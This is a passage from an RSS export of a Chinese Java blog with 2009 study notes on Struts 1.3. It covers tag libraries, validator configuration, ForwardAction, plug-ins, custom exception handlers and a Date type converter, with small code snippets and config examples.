&lt;bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" property="原变量的属性名" toScope="新定义变量的scope"&gt;&lt;/bean:define&gt;<br />
bean:write<br />
&lt;bean:write scope="变量的scope" name="变量名" property="变量的属性名" filter="是否按html格式输出(默认true为文本输出)" format="数字(###,###.0000)日期(yyyy-MM-dd HH:mm:ss)"/&gt;<br />
结构数据中多重属性可用"."作导航取出来<br />
bean:message<br />
相当于jstl中&lt;fmt:message&gt;(国际化标签)<br />
1 定义资源文件<br />
com.itcast.ApplicationResources.properties<br />
com.itcast.ApplicationResources_zh_CN.properties<br />
2 在struts-config中添加：<br />
&lt;message-resources parameter="ApplicationResources" key="myKey" /&gt;<br />
3 页面中使用<br />
&lt;bean:message bundle="myKey" key="userName"/&gt;<br />
&lt;bean:message bundle="myKey" key="password"/&gt;<br />
bean:size标签<br />
--------------------------------------------------------------<br />
logic标记<br />
logic:empty/login:notEmpty 判断对象是否为空<br />
&lt;logic:empty name="对象名" property="属性名" scope="对象的scope"&gt;<br />
&nbsp;为空&lt;br&gt;<br />
&lt;/logic:empty&gt;<br />
logic:notEmpty 判断对象是否不为空<br />
&lt;logic:notEmpty name="对象名" property="属性名" scope="对象的scope"&gt;<br />
&nbsp;不为空&lt;br&gt;<br />
&lt;/logic:notEmpty&gt;<br />
logic:present 判断对象是否存在(用方同上)<br />
logic:notPresent<br />
----------------------------------------------||<br />
例子：<br />
request.setAtrribute("attr1",null);<br />
request.setAtrribute("attr2","");<br />
request.setAtrribute("attr3",new ArrayList());<br />
&lt;logic:empty name="attr1"&gt;<br />
&nbsp;11&lt;br&gt;<br />
&lt;/logic:empty&gt;<br />
&lt;logic:notEmpty name="attr1"&gt;<br />
&nbsp;12&lt;br&gt;<br />
&lt;/logic:notEmpty&gt;<br />
&lt;logic:present name="attr1"&gt;<br />
&nbsp;13&lt;br&gt;<br />
&lt;/logic:present&gt;<br />
&lt;logic:notPresent name="attr1"&gt;<br />
&nbsp;14&lt;br&gt;<br />
&lt;/logic:notPresent&gt;</p>
<p>&lt;logic:empty name="attr2"&gt;<br />
&nbsp;21&lt;br&gt;<br />
&lt;/logic:empty&gt;<br />
&lt;logic:notEmpty name="attr2"&gt;<br />
&nbsp;22&lt;br&gt;<br />
&lt;/logic:notEmpty&gt;<br />
&lt;logic:present name="attr2"&gt;<br />
&nbsp;23&lt;br&gt;<br />
&lt;/logic:present&gt;<br />
&lt;logic:notPresent name="attr2"&gt;<br />
&nbsp;24&lt;br&gt;<br />
&lt;/logic:notPresent&gt;</p>
<p>&lt;logic:empty name="attr3"&gt;<br />
&nbsp;31&lt;br&gt;<br />
&lt;/logic:empty&gt;<br />
&lt;logic:notEmpty name="attr3"&gt;<br />
&nbsp;32&lt;br&gt;<br />
&lt;/logic:notEmpty&gt;<br />
&lt;logic:present name="attr3"&gt;<br />
&nbsp;33&lt;br&gt;<br />
&lt;/logic:present&gt;<br />
&lt;logic:notPresent name="attr3"&gt;<br />
&nbsp;34&lt;br&gt;<br />
&lt;/logic:notPresent&gt;<br />
结果：<br />
11空<br />
14不存在</p>
<p>21空<br />
23存在</p>
<p>31空<br />
33存在<br />
-----------------------------------------||<br />
html:equal/html:notEqual<br />
html:greaterEqual大于等于<br />
html:greaterThan大于<br />
html:lessEqual小于等于<br />
html:lessThan小于<br />
-----------------------------------------||<br />
logic:iterate(循环)<br />
name:对应的bean,是一个集合类型<br />
property:对应的集合类型的属性<br />
scope:变量的scope<br />
id:临时变量名<br />
offset:循环起始位置<br />
indexId:集合中当前无素的下标<br />
length:控制长度<br />
单循环<br />
&lt;logic:iterate id="username" scope="request" name="对应的bean,是一个集合类型"&gt;<br />
&nbsp;&nbsp;&nbsp; &nbsp;output every username:${username }&lt;br&gt;<br />
&lt;/logic:iterate&gt;<br />
双循环<br />
&lt;logic:iterate id="user" scope="request" name="list" offset="2" indexId="i"&gt;<br />
&nbsp;&nbsp;&nbsp; &nbsp;${user.username }&lt;br&gt;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&lt;logic:iterate id="love" name="user" property="loves"&gt;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;${love }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&lt;/logic:iterate&gt;&lt;br&gt;<br />
&lt;/logic:iterate&gt;&lt;br&gt;</p>
<p>logic:<br />
tiles标记</p>
<p>----------------------------------------------------------------<br />
html标签<br />
&lt;html:form action="/login" method="post"&gt;<br />
username:&lt;html:text property="username" value="123"/&gt;<br />
password:&lt;html:password property="password"/&gt;<br />
sex:&lt;html:radio property="sex" value="0" /&gt;男<br />
&nbsp;&nbsp;&nbsp; &lt;html:radio property="sex" value="1" /&gt;女<br />
likes:&lt;html:checkbox property="0" value="0"&gt;吃饭&lt;/html:checkbox&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;html:checkbox property="0" value="1"&gt;吃饭&lt;/html:checkbox&gt;<br />
xueli:&lt;html:select property="xueli"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;html:option value="0"&gt;小学&lt;/html:option&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;html:option value="1"&gt;小学&lt;/html:option&gt;<br />
&nbsp; &lt;html:optionsCollection property="qxlist" label="qx" value="qxid"/&gt;<br />
&nbsp; //&lt;html:optionsCollection name="qxlist" label="qx" value="qxid"/&gt;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/html:select&gt;<br />
&lt;html:submit value="提交"/&gt;<br />
&lt;/html:form&gt;<br />
</p>
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:14 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304197.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-validator验证框架</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304196.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:13:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304196.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304196.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304196.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304196.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304196.html</trackback:ping><description><![CDATA[struts validator验证框架<br />
1 配置：<br />
&nbsp;&nbsp;&nbsp; * 加入国际化配置在struts-config.xml文件中，如：<br />
&nbsp;&nbsp;&nbsp; &lt;message-resources parameter="MessageResources"/&gt;<br />
&nbsp;&nbsp;&nbsp; * 提供国际化资源文件<br />
&nbsp;&nbsp;&nbsp; * 引入validator插件在struts-config.xml文件中，如：<br />
&nbsp;&nbsp;&nbsp; &lt;plug-in className="org.apache.struts.validator.ValidatorPlugIn"&gt;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&lt;set=property <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; property="pathnames" <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; value="WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;/&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/plug-in&gt;<br />
&nbsp;&nbsp;&nbsp; * 提供validator.xml和validator_rules.xml文件，将此文件拷贝到WEB-INF下<br />
2 validator服务器验证<br />
&nbsp;&nbsp;&nbsp; * 配置validation.xml文件<br />
3 validator客户验证(javascript)<br />
&nbsp;&nbsp;&nbsp; * 配置validation.xml文件<br />
&nbsp;&nbsp;&nbsp; * 在jsp页面中包含&lt;html:javascript&gt;<br />
&nbsp;&nbsp;&nbsp; * 对需要验证的表单定义onsubmit事件，其中事件名称为validate+ActionForm的名称，如:validateLogin
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304196.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:13 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304196.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-ForwardAction</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304194.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:12:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304194.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304194.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304194.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304194.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304194.html</trackback:ping><description><![CDATA[ForwardAction是统一访问形式<br />
配置struts-config.xml即可<br />
&lt;action-mappings&gt;<br />
&nbsp;&lt;action path="/preAddStudentAction" forward="/WEB-INF/AddStudent.jsp" /&gt;<br />
&nbsp;&lt;forward name="success" path="/login_success.jsp"/&gt;<br />
&lt;/action-mappings&gt;<br />
全局的<br />
&lt;global-forwards&gt;<br />
&nbsp;&lt;forward name="success" path="/login_success.jsp"/&gt;<br />
&lt;/global-forwards&gt;<br />
对象名为ActionFroward，运行期不能改修配置，即调用froward.setReadirect(false);<br />
ForwardAction执行完所有内容，forward属性到转向页面就停了
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304194.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:12 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304194.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-plugIn</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304195.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:12:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304195.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304195.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304195.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304195.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304195.html</trackback:ping><description><![CDATA[可以加入ValidatorPlugIn动态验证框架插件<br />
org.apache.struts.validator.ValidatorPlugIn
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304195.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:12 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304195.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-exception</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304193.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:11:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304193.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304193.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304193.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304193.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304193.html</trackback:ping><description><![CDATA[<p>一 配置异常（在struts-config.xml文件中定义）,定制异常有两种:<br />
1 全局异常(Global Exceptions)<br />
&lt;global-exceptions&gt;<br />
&nbsp;&lt;exception key="invalideUser" <br />
&nbsp;path="/Login.jsp" type="com.future.struts.MyException" /&gt;<br />
&lt;/global-exceptions&gt;<br />
2 局部异常(Local Exception)<br />
&lt;action-mappings&gt;<br />
&nbsp; &lt;action attribute="loginForm" name="loginForm"<br />
&nbsp;&nbsp; path="/loginAction(出错转向的路径)" scope="request"<br />
&nbsp;&nbsp; input="/login.jsp"//异常转向的页面,同exception中的path，优先级path高于input<br />
&nbsp; /&gt;<br />
&nbsp; &lt;exception key="invalideUser(异常信息的key)" path="/Error.jsp"<br />
&nbsp; type="cn.itcast.ItcastException(异常类全名)" /&gt;<br />
&lt;/action-mappings&gt;<br />
&nbsp;path:出现异常后跳转的页面<br />
&nbsp;key:异常信息的键,对应的值在资源文件当中<br />
&nbsp;type:所要处理的异常类<br />
二 在相应的action中的execute方法中抛出异常<br />
三 在异常处理页面(path所指的页面)使用html:errors标签打印异常信息<br />
1 建立资源文件ApplicationResources.properties<br />
内容:invaliduser=it is an invalid user(key/value)<br />
2 配置struts-config.xml文件<br />
&nbsp; &lt;message-resources parameter="cn.itcast.ApplicationResources" key="invalideuser"/&gt;<br />
3 使用html:errors标记打印信息<br />
&nbsp; &lt;html:errors /&gt;<br />
&nbsp; --------------------------------------------<br />
1 编程式异常<br />
&nbsp; * 截获异常<br />
&nbsp; * 创建相应的异常消息<br />
&nbsp; * 传递异常消息<br />
&nbsp; * 转向相应的页面处理异常<br />
2 声明式异常(自动处理的异常)<br />
&nbsp; * 在struts-config.xml文件中配置&lt;exeception/&gt;标签<br />
&nbsp; * 理解局部和全局exception<br />
&nbsp; * 注意局部&lt;exception/&gt;标签需要配置到&lt;forward/&gt;标签的前面<br />
&nbsp; <br />
&nbsp; &lt;exeception/&gt;标签中的属性说明：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * key:指异常信息对应的国际化消息文本，这个key值需要在国际化资源文件中定义<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * type:处理那种异常<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * path:定义一但出现异常，需要转向那个页面，如果不定义path,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 默认情况下将使用&lt;action&gt;标签中input属性对应的页面<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * scope:可以取值request和session,默认为request<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * handler:导常的处理类，struts默认采用org.apache.struts.action.ExceptionHandler,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果做个性化的异常处理可以继承此类复写相应的方法<br />
-------------------------------------------------------------------------<br />
个性异常类定义<br />
一 方法:<br />
1 定义MessageResources.propertices资源文件<br />
2 在struts-config中配置&lt;exception/&gt;<br />
&nbsp; &lt;exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"<br />
&nbsp;&nbsp; handler="com.bjsxt.struts.ErrorCodeException" /&gt;<br />
3 编写异常类ErrorCodeException继承RuntimeException<br />
public class ErrorCodeException extends RuntimeException {<br />
&nbsp;private String errorCode;//这是key对应的值<br />
&nbsp;private Object[] args;//这是参数集合<br />
&nbsp;public ErrorCodeException(String errorCode){<br />
&nbsp;&nbsp;this(errorCode,null);<br />
&nbsp;}<br />
&nbsp;public ErrorCodeException(String errorCode,Object args0){<br />
&nbsp;&nbsp;this(errorCode,new Object[]{args0});<br />
&nbsp;}<br />
&nbsp;public ErrorCodeException(String errorCode,Object[] args){<br />
&nbsp;&nbsp;this.errorCode=errorCode;<br />
&nbsp;&nbsp;this.args=args;<br />
&nbsp;}<br />
&nbsp;public String getErrorCode() {<br />
&nbsp;&nbsp;return errorCode;<br />
&nbsp;}<br />
&nbsp;public Object[] getArgs() {<br />
&nbsp;&nbsp;return args;<br />
&nbsp;}<br />
}<br />
4 编写ErrorCodeExceptionHandler类继承ExceptionHandler，<br />
&nbsp; 复写public ActionForward execute(Exception ex, ExceptionConfig ae,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionMapping mapping, ActionForm formInstance,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpServletRequest request, HttpServletResponse response)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws ServletException{}方法：<br />
public ActionForward execute(Exception ex, ExceptionConfig ae,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionMapping mapping, ActionForm formInstance,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpServletRequest request, HttpServletResponse response)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws ServletException {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //添加判断<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(!(ex instanceof ErrorCodeException)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;return super.execute(ex, ae, mapping, formInstance, request, response);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ------------------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionForward forward;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ActionMessage error;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String property;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Build the forward from the exception mapping if it exists<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // or from the form input<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ae.getPath() != null) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; forward = new ActionForward(ae.getPath());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; forward = mapping.getInputForward();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Figure out the error<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ex instanceof ModuleException) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; error = ((ModuleException) ex).getActionMessage();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; property = ((ModuleException) ex).getProperty();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;//改修这个地方<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;//----------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;ErrorCodeException ece=(ErrorCodeException)ex;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;String errorCode=ece.getErrorCode();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Object[] args=ece.getArgs();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;error = new ActionMessage(errorCode, args);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;property = error.getKey();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;//------------------------------------------------<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //error = new ActionMessage(ae.getKey(), ex.getMessage());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //property = error.getKey();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.logException(ex);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Store the exception<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; request.setAttribute(Globals.EXCEPTION_KEY, ex);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.storeException(request, property, error, forward, ae.getScope());</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!response.isCommitted()) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return forward;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return null;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
}<br />
5 页面直接抛出异常<br />
public void login(String username,String password){<br />
&nbsp;&nbsp;if(!"admin".equals(username)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new ErrorCodeException("user.not.found",username,age);<br />
&nbsp;&nbsp;}<br />
}<br />
---------------------------------------------------------------------<br />
二 方法:<br />
1 定义MessageResources.propertices资源文件<br />
&nbsp; 内容:error.exception={0}<br />
2 在struts-config中配置&lt;exception/&gt;<br />
&nbsp; &lt;exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"/&gt;<br />
3 编写异常类ErrorCodeException继承RuntimeException<br />
public class ErrorCodeException extends RuntimeException {<br />
&nbsp;&nbsp;public ErrorCodeException(String msg){<br />
&nbsp;&nbsp;&nbsp;&nbsp;super(msg);<br />
&nbsp;&nbsp;}<br />
}<br />
4 页面直接抛出异常<br />
public void login(String username,String password){<br />
&nbsp;&nbsp;if(!"admin".equals(username)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;throw new ErrorCodeException("名称"+usrname+"错误!");<br />
&nbsp;&nbsp;}<br />
}</p>
<p><br />
--------------------------------------------------------------------------<br />
1 ApplicationResources.properties文件<br />
&nbsp;&nbsp; num2Meg=is not a double<br />
2 struts-config.xml<br />
&nbsp;&nbsp; &lt;message-resources parameter="ApplicationResources" /&gt;<br />
3 ActionMessages errs=new ActionMessages();<br />
errs.add("num1Error",new ActionMessage("num2Meg"));<br />
//errs.add(ActionMessages.GLOBAL_MESSAGE,new ActionMessage("num2Meg"));</p>
<p><br />
this.saveErrors(request,errs);</p>
<p>页面<br />
&lt;html:errors property="num1Error"/&gt;<br />
//&lt;html:errors/&gt;//全局不能指定property<br />
errs.header="&lt;script&gt;alert("<br />
errs.footer=")&lt;/script&gt;"</p>
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304193.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:11 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304193.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-Converter</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304190.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:10:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2009/11/30/304190.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/304190.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2009/11/30/304190.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/304190.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/304190.html</trackback:ping><description><![CDATA[<p>Converter添加java.util.Date类型转换器<br />
1 编写UtilDateConverter转换器类，<br />
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)<br />
public class UtilDateConverter implements Converter {<br />
&nbsp;public Object convert(Class type, Object value) {<br />
&nbsp;&nbsp;System.out.println("UtilDateConverter.value="+value);<br />
&nbsp;&nbsp;if(value==null){<br />
&nbsp;&nbsp;&nbsp;return value;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;if(value instanceof Date){//instanceof判断是否属于此类型<br />
&nbsp;&nbsp;&nbsp;return value;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;Date d=null;<br />
&nbsp;&nbsp;if(value instanceof String){</p>
<p>&nbsp;&nbsp;&nbsp;SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");<br />
&nbsp;&nbsp;&nbsp;try {<br />
&nbsp;&nbsp;&nbsp;&nbsp;d=sdf.parse(value.toString());<br />
&nbsp;&nbsp;&nbsp;} catch (Exception e) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;e.printStackTrace();<br />
&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;return d;<br />
&nbsp;}<br />
}<br />
2 利用servlet的init()方法注册转换器到ConvertUtils(com.sun.org.apache.commons.beanutils.ConvertUtils)<br />
public class UtilDateConverterInitServlet extends HttpServlet {<br />
&nbsp;public void init() throws ServletException {<br />
&nbsp;&nbsp;System.out.println("UtilDateConverterInitServlet.init()");<br />
&nbsp;&nbsp;ConvertUtils.register(new UtilDateConverter(),Date.class);<br />
&nbsp;}<br />
}<br />
3 配置servlet,并设&lt;/load-on-startup&gt;值<br />
&nbsp;&lt;servlet&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-name&gt;UtilDateConverterInitServlet&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-class&gt;com.bjsxt.servlet.UtilDateConverterInitServlet&lt;/servlet-class&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;<br />
&nbsp; &lt;/servlet&gt;<br />
&nbsp; &lt;servlet-mapping&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;servlet-name&gt;UtilDateConverterInitServlet&lt;/servlet-name&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;url-pattern&gt;/servlet/UtilDateConverterInitServlet&lt;/url-pattern&gt;<br />
&nbsp; &lt;/servlet-mapping&gt;<br />
------------------------------------------------------------------------<br />
方法二：<br />
1 编写UtilDateConverter转换器类，<br />
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)<br />
（同上）<br />
2 编写UtilDateConverterInitWithPlugIn类实现PlugIn接口的init()方法<br />
public class UtilDateConverterInitWithPlugIn implements PlugIn {<br />
&nbsp;public void destroy() {<br />
&nbsp;}<br />
&nbsp;public void init(ActionServlet arg0, ModuleConfig arg1)<br />
&nbsp;&nbsp;&nbsp;throws ServletException {<br />
&nbsp;&nbsp;System.out.println("UtilDateConverterInitServlet.init()");<br />
&nbsp;&nbsp;ConvertUtils.register(new UtilDateConverter(),Date.class);<br />
&nbsp;}<br />
}<br />
3 在struts-config.xml文件中配置&lt;plug-in&gt;标签<br />
&lt;plug-in className="com.bjsxt.servlet.UtilDateConverterInitWithPlugIn"/&gt;<br />
</p>
 <img src ="http://www.blogjava.net/ywj-316/aggbug/304190.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2009-11-30 08:10 <a href="http://www.blogjava.net/ywj-316/archive/2009/11/30/304190.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts1.3-DispatchAction</title><link>http://www.blogjava.net/ywj-316/archive/2009/11/30/304191.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 30 Nov 2009 00:10:00 